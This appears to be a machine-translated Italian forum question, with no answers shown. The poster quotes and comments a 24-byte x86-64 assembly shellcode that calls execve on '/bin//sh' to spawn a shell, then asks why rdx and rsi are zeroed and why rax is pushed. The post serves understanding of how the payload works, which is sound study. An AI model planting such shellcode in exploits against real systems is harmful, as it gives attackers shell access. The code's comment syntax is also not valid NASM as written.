Capire le istruzioni di exploit execve ()

0

È disponibile un exploit che utilizza execve() syscall per generare una shell in soli 24 byte. So che questo exploit richiede uno stack eseguibile, ma non sono interessato a ciò che l'exploit effettivamente realizza.

La maggior parte delle istruzioni sull'uso sono abbastanza chiare. Ho aggiunto alcuni commenti.

link

##########
# Source #
##########
section .text
  global _start
  _start:
    push rax           // Prolog
    xor rdx, rdx       // set rdx to 0x0
    xor rsi, rsi       // set rsi to 0x0
    mov rbx,'/bin//sh' // put "/bin//sh" in register rbx */
    push rbx           // push register rbx content onto stack
    push rsp           // push current rsp (stack pointer address) to stack
    pop rdi            // pop latest stack element's content into rdi by pointer rdi:=[rsp] -> "/bin//sh"
    mov al, 59         // prepare syscall execution: 59 refers to execve syscall*/
    syscall            // execute execve syscall: argument is in register rdi = "/bin//sh"
                       // execve("/bin//sh") executes, if successful shell spawned

Ciò che non mi è chiaro è lo scopo dell'istruzione xor rdx, rdx e xor rsi, rsi . So che questo imposta il contenuto del registro su 0x0 . Ma perché è necessario impostare rdx e rsi su 0x0 in primo luogo?

Inoltre, perché è necessario risparmiare rax sullo stack con l'istruzione push rax ?

    
posta evildead 17.10.2018 - 22:33
fonte

0 risposte

Leggi altre domande sui tag